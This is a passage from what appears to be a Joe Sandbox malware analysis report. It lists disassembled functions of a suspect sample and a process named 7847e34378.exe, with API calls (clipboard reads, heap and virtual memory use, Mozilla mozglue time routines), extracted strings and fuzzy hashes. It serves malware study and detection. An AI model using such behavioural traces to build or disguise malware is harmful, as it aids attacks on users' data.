Instruction Fuzzy Hash: 43D0A7B557050867D2086B1DDC4BF22772C8B83B66F50423DF2A7C61D1D9506A14CA79

Function 0040C583 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C595

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction ID: 58e2b5502705141ff0d3aa7c975cc0701997441b8ab7d7d43dac110591522243
Opcode Fuzzy Hash: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction Fuzzy Hash: F1D0C9B47D83407AF5749B08AC17F143210A702F56F740228B363FE2E0C9E172018A0C

Function 0043AAA0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043C1D6,?,0040B2E4,00000000,00000001), ref: 0043AABE

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction ID: 16971ee2c2e030bf17817a0d81dc477e65560ccac1e7abaabcdfe7fdc6775186
Opcode Fuzzy Hash: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction Fuzzy Hash: B2D01231505522EBC6102F25FC06B863A58EF0E761F0748B1B4006B071C765ECA186D8

Function 0043AA80 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,0043C1C0), ref: 0043AA90

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 733e1922efac4f9a0d584a8944a64cd40278d35b25fcdbd161a554f2c268bb95
Instruction ID: 72b53a506d10aa35cab301047588232e26feb19e762ad2a100d4e8a4b6eb39e1
Opcode Fuzzy Hash: 733e1922efac4f9a0d584a8944a64cd40278d35b25fcdbd161a554f2c268bb95
Instruction Fuzzy Hash: D6C09231445220BBCA143B16FC09FCA3F68EF4D762F0244A6F514670B2CB61BCA2CAD8

Non-executed Functions

Function 00426B50 Relevance: 30.2, APIs: 1, Strings: 16, Instructions: 439COMMON

Download Yara Rule

Strings

EG, xrefs: 0042740B
l+X-, xrefs: 004272FE
+K!M, xrefs: 00427356
g#X%, xrefs: 004272E8
U'g), xrefs: 004272F3
bweM, xrefs: 004276F0
*W.Y, xrefs: 0042731F
FOEH, xrefs: 0042771E
UGBY, xrefs: 00427708
NO, xrefs: 00427361
w?n!, xrefs: 004272DD
{7y9, xrefs: 004272C7
$&, xrefs: 004275AF
!, xrefs: 00427452
;[0], xrefs: 0042732A
>C7E, xrefs: 00427340

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID:
String ID: !$*W.Y$+K!M$;[0]$>C7E$FOEH$NO$U'g)$UGBY$bweM$g#X%$l+X-$w?n!${7y9$$&$EG
API String ID: 0-3492884535
Opcode ID: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction ID: ba39798a3fcb6da663dd5afd8d89a9a5fc3f4f782173f0556435d4ff5b4d5338
Opcode Fuzzy Hash: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction Fuzzy Hash: A3E10EB4608350CFD7249F25E85176FBBF2FB86304F45896DE5D88B252D7388906CB4A

Function 004329C0 Relevance: 9.1, APIs: 6, Instructions: 144clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004329E2
GetClipboardData.USER32 ref: 00432A05
GlobalLock.KERNEL32 ref: 00432A22
GlobalUnlock.KERNEL32 ref: 00432B6B
CloseClipboard.USER32 ref: 00432B73

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction ID: f2decc6a1db23371b8bb2cc1877cdad688787675f84f74fde2292b1bd35bf902
Opcode Fuzzy Hash: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction Fuzzy Hash: 855102F1D08A828FD700AF78C54936EFFA0AB15310F04863ED89597392D3BCA9598797

Function 00431715 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0043179A

Strings

O, xrefs: 0043187B
;, xrefs: 00431817
4, xrefs: 00431821
J, xrefs: 00431885
0, xrefs: 00431980
#, xrefs: 00431899
Q, xrefs: 00431853
m, xrefs: 004318B7
B, xrefs: 00431871
0, xrefs: 0043182B
H, xrefs: 004318AD
, xrefs: 0043183F
n, xrefs: 004318D1
{, xrefs: 004318E1
], xrefs: 00431849
/, xrefs: 00431867
^, xrefs: 0043185D
G, xrefs: 004318A3
B, xrefs: 0043188F
~, xrefs: 004318C1

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction ID: e2dddc40eb3f9dab4f65535c588d3d72a3f147e4bda3b82f36fbc837b78308fa
Opcode Fuzzy Hash: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction Fuzzy Hash: 8481066010CBC28AD322C63C881875FBFD15BE7224F184B9DE1F58B3E6D6A98146C767

Function 004312D1 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00431360

Strings

B, xrefs: 00431455
0, xrefs: 0043153F
J, xrefs: 0043144B
B, xrefs: 00431437
H, xrefs: 00431473
Q, xrefs: 00431419
~, xrefs: 00431487
/, xrefs: 0043142D
^, xrefs: 00431423
, xrefs: 00431405
], xrefs: 0043140F
{, xrefs: 004314A7
n, xrefs: 00431497
G, xrefs: 00431469
m, xrefs: 0043147D
#, xrefs: 0043145F
O, xrefs: 00431441
0, xrefs: 004313F1
4, xrefs: 004313E7
;, xrefs: 004313DD

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction ID: e21bf8ef08eaefae2f6608d65dd533aaf672cde794620ee92b713000d27e8169
Opcode Fuzzy Hash: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction Fuzzy Hash: 9981F52010CBC289D326C63C885875FBFD16BE7224F184B9DE1F58B3E6D6A98146C727

Function 0042E9ED Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042E9F6
VariantInit.OLEAUT32 ref: 0042EA05

Strings

b, xrefs: 0042EA3C
<, xrefs: 0042EA50
., xrefs: 0042EA98
2, xrefs: 0042EA68
:, xrefs: 0042EA48
>, xrefs: 0042EA58
,, xrefs: 0042EA90
-, xrefs: 0042EA94
4, xrefs: 0042EA70
T, xrefs: 0042EA24
Q, xrefs: 0042EA2C
W, xrefs: 0042EA34
*, xrefs: 0042EA88
0, xrefs: 0042EA60
6, xrefs: 0042EA78
8, xrefs: 0042EA40
(, xrefs: 0042EA80

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction ID: 67e1650e07e25dd8c979730081919a9ec74336f1c366e84b3847a4c8d399cf69
Opcode Fuzzy Hash: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction Fuzzy Hash: 19410921108BC1CED726CF388488646BFA16F66224F0886DDD8E54F3DBC775D51AC7A6

Function 0042F833 Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 85COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042F83F
VariantInit.OLEAUT32 ref: 0042F84E

Strings

T, xrefs: 0042F873
6, xrefs: 0042F8C7
b, xrefs: 0042F88B
W, xrefs: 0042F883
,, xrefs: 0042F8DF
>, xrefs: 0042F8A7
., xrefs: 0042F8E7
Q, xrefs: 0042F87B
8, xrefs: 0042F88F
-, xrefs: 0042F8E3
*, xrefs: 0042F8D7
2, xrefs: 0042F8B7
:, xrefs: 0042F897
4, xrefs: 0042F8BF
<, xrefs: 0042F89F
0, xrefs: 0042F8AF
(, xrefs: 0042F8CF

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction ID: 5aee6742307bd22be2b72699ebf7517107c7abda4f37a595e92ffc77e439cf83
Opcode Fuzzy Hash: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction Fuzzy Hash: 34410820108BC1CED726CF3C9488616BFA16B66224F488ADDD8E54F3DBC375D51ACB66

Function 00432409 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 90COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043244F

Strings

@, xrefs: 004324A9
H, xrefs: 004324D1
C, xrefs: 00432481
E, xrefs: 00432495
Q, xrefs: 0043249F
X, xrefs: 00432477
[, xrefs: 004324DB
L, xrefs: 004324BD
J, xrefs: 0043248B
A, xrefs: 004324EA
X, xrefs: 0043246D
[, xrefs: 004324C7
e, xrefs: 004324B3
@, xrefs: 004324E5

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction ID: 53b19800ce9beadd92bbeaf8c0dd5e513984ffb5c5a49c85e3815ab243118963
Opcode Fuzzy Hash: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction Fuzzy Hash: 0541097010C7C18AD365DB28849878BBFE16B96314F885A9CE6E94B3E2C7798409C757

Function 00432194 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 83COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004321C6

Strings

X, xrefs: 004321F5
L, xrefs: 0043223B
[, xrefs: 00432259
[, xrefs: 00432245
X, xrefs: 004321EB
J, xrefs: 00432209
C, xrefs: 004321FF
e, xrefs: 00432231
Q, xrefs: 0043221D
@, xrefs: 00432263
A, xrefs: 00432268
@, xrefs: 00432227
H, xrefs: 0043224F
E, xrefs: 00432213

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction ID: f917ff13e8fa353cdd9af704c32342f25a9e0069aca0bae3d4b305f03d6e9fde
Opcode Fuzzy Hash: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction Fuzzy Hash: F841187000D7C18AD3619B28849874FBFE06BA7324F885A9DF6E84B3E2C77984498757

Function 00431EDD Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 92COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00431EE7
VariantInit.OLEAUT32 ref: 00431EFA

Strings

e, xrefs: 00431F5F
z, xrefs: 00431F2F
v, xrefs: 00431F3F
A, xrefs: 00431F8F
n, xrefs: 00431FAF
p, xrefs: 00431F9F
p, xrefs: 00431FBF
e, xrefs: 00431F1F
z, xrefs: 00431F6F
w, xrefs: 00431F4F

Memory Dump Source

Source File: 00000007.00000002.2789411734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_c7af53ccad.jbxd

Similarity

API ID: Variant$ClearInit
String ID: A$e$e$n$p$p$v$w$z$z
API String ID: 2610073882-1114116150
Opcode ID: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction ID: 776134ba1da329d7d35a817d8e2b42585fa70f537528e7a9cdeab4ed979499a7
Opcode Fuzzy Hash: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction Fuzzy Hash: 2641383160C7C18ED331DB38885879BBFD1ABA6324F088AADD4E9872D6D7794505C763

Analysis Process: 7847e34378.exePID: 4408, Parent PID: 7564COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.7%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CEF35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CF7F688,00001000), ref: 6CEF35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CEF35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CEF35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CEF363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CEF369F
__aulldiv.LIBCMT ref: 6CEF36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CEF3773
EnterCriticalSection.KERNEL32(6CF7F688), ref: 6CEF377E
LeaveCriticalSection.KERNEL32(6CF7F688), ref: 6CEF37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CEF37C4
EnterCriticalSection.KERNEL32(6CF7F688), ref: 6CEF37CB
LeaveCriticalSection.KERNEL32(6CF7F688), ref: 6CEF3801
__aulldiv.LIBCMT ref: 6CEF3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CEF3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CEF3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CEF394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CEF35DB
AuthcAMDenti, xrefs: 6CEF3946
GTC, xrefs: 6CEF3912
QPC, xrefs: 6CEF38FC
GenuntelineI, xrefs: 6CEF3639

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: bee2f1290f0113e18dc6b8dbdb551afb4906bbdc2e697ce28af157ad6a7fd00b
Instruction ID: ef1ab74fa2d251271ad02ffe3ad573146a681196e4d45ec04948b76a79a3a118
Opcode Fuzzy Hash: bee2f1290f0113e18dc6b8dbdb551afb4906bbdc2e697ce28af157ad6a7fd00b
Instruction Fuzzy Hash: 20B1D471F183209FDB89DF28E84475A77F5BB8A704F15892EE899D3390D7349801CBA2

Function 6CF0C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CF0C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CF0C969
GetSystemInfo.KERNEL32(?), ref: 6CF0C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CF0C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CF0C9E2

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 114b99b32db611a962de8202eacd86f30dad5a4bd1e6e3ba347e0f2dc8575904
Instruction ID: 84a385f3ddc7184feaabe7680d4572c396b09aebafbc142e4e4a04ee9642b5fe
Opcode Fuzzy Hash: 114b99b32db611a962de8202eacd86f30dad5a4bd1e6e3ba347e0f2dc8575904
Instruction Fuzzy Hash: 04212932B116246BDB55AB65EC94BEE77B9FB47B44F50051AF903A7B80DB305C0087B1

Function 6CEF3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CEF3095

Part of subcall function 6CEF35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CF7F688,00001000), ref: 6CEF35D5
Part of subcall function 6CEF35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CEF35E0
Part of subcall function 6CEF35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CEF35FD
Part of subcall function 6CEF35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CEF363F
Part of subcall function 6CEF35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CEF369F
Part of subcall function 6CEF35A0: __aulldiv.LIBCMT ref: 6CEF36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEF309F

Part of subcall function 6CF15B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CF156EE,?,00000001), ref: 6CF15B85
Part of subcall function 6CF15B50: EnterCriticalSection.KERNEL32(6CF7F688,?,?,?,6CF156EE,?,00000001), ref: 6CF15B90
Part of subcall function 6CF15B50: LeaveCriticalSection.KERNEL32(6CF7F688,?,?,?,6CF156EE,?,00000001), ref: 6CF15BD8
Part of subcall function 6CF15B50: GetTickCount64.KERNEL32 ref: 6CF15BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CEF30BE

Part of subcall function 6CEF30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CEF3127
Part of subcall function 6CEF30F0: __aulldiv.LIBCMT ref: 6CEF3140

Part of subcall function 6CF2AB2A: __onexit.LIBCMT ref: 6CF2AB30

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 6c245cf46484ec0e1f615f66e144a06ba8d610b7de18ba119de34640f650cf9e
Instruction ID: 8b7b04b10c4a4eff31a4d3b689e0d25d9a1e4d5c75ba32c40776ad8c8d0fbdf7
Opcode Fuzzy Hash: 6c245cf46484ec0e1f615f66e144a06ba8d610b7de18ba119de34640f650cf9e
Instruction Fuzzy Hash: E4F0F922D3075497CB91EF74AC413E67370AF6B214F50571EE85453511FB2066D883A2

Non-executed Functions

Function 6CF555F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CF2E1A5), ref: 6CF55606
LoadLibraryW.KERNEL32(gdi32,?,6CF2E1A5), ref: 6CF5560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CF55633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CF5563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CF5566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CF5567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CF55696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CF556B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CF556CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CF556E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CF556FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CF55716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CF5572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CF55748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CF55761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CF5577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CF55793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CF557A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CF557BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CF557D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CF557EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CF557FF

Strings

gdi32, xrefs: 6CF5560A
CreateWindowExW, xrefs: 6CF556C5
AreDpiAwarenessContextsEqual, xrefs: 6CF55637
ReleaseDC, xrefs: 6CF55742
SetWindowPos, xrefs: 6CF556F7
LoadIconW, xrefs: 6CF5575B
SetWindowLongPtrW, xrefs: 6CF557B7
RegisterClassW, xrefs: 6CF556AC
GetWindowDC, xrefs: 6CF55710
MonitorFromWindow, xrefs: 6CF5578D
StretchDIBits, xrefs: 6CF557CC
CreateSolidBrush, xrefs: 6CF557E4
GetSystemMetricsForDpi, xrefs: 6CF55677
ShowWindow, xrefs: 6CF556DE
EnableNonClientDpiScaling, xrefs: 6CF55666
FillRect, xrefs: 6CF55729
DeleteObject, xrefs: 6CF557F9
user32, xrefs: 6CF55601
GetThreadDpiAwarenessContext, xrefs: 6CF5562D
GetMonitorInfoW, xrefs: 6CF557A2
LoadCursorW, xrefs: 6CF55774
GetDpiForWindow, xrefs: 6CF55690

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: a903e21c45bfdef3bd36c4987069b5a81c2660ead0f3727c8ca51fcac7f036bb
Instruction ID: a2231a3dbe3e57223fee902ee84362140866e2bcb84f93003d25703391b3661e
Opcode Fuzzy Hash: a903e21c45bfdef3bd36c4987069b5a81c2660ead0f3727c8ca51fcac7f036bb
Instruction Fuzzy Hash: E0513370E217225BDF829F35AD54B663AF9AB1724A750482AEA11E2B41EF71CC11CF70

Function 6CF3F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF3F09B

Part of subcall function 6CF15B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CF156EE,?,00000001), ref: 6CF15B85
Part of subcall function 6CF15B50: EnterCriticalSection.KERNEL32(6CF7F688,?,?,?,6CF156EE,?,00000001), ref: 6CF15B90
Part of subcall function 6CF15B50: LeaveCriticalSection.KERNEL32(6CF7F688,?,?,?,6CF156EE,?,00000001), ref: 6CF15BD8
Part of subcall function 6CF15B50: GetTickCount64.KERNEL32 ref: 6CF15BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CF3F0AC

Part of subcall function 6CF15C50: GetTickCount64.KERNEL32 ref: 6CF15D40
Part of subcall function 6CF15C50: EnterCriticalSection.KERNEL32(6CF7F688), ref: 6CF15D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CF3F0BE

Part of subcall function 6CF15C50: __aulldiv.LIBCMT ref: 6CF15DB4
Part of subcall function 6CF15C50: LeaveCriticalSection.KERNEL32(6CF7F688), ref: 6CF15DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CF3F155
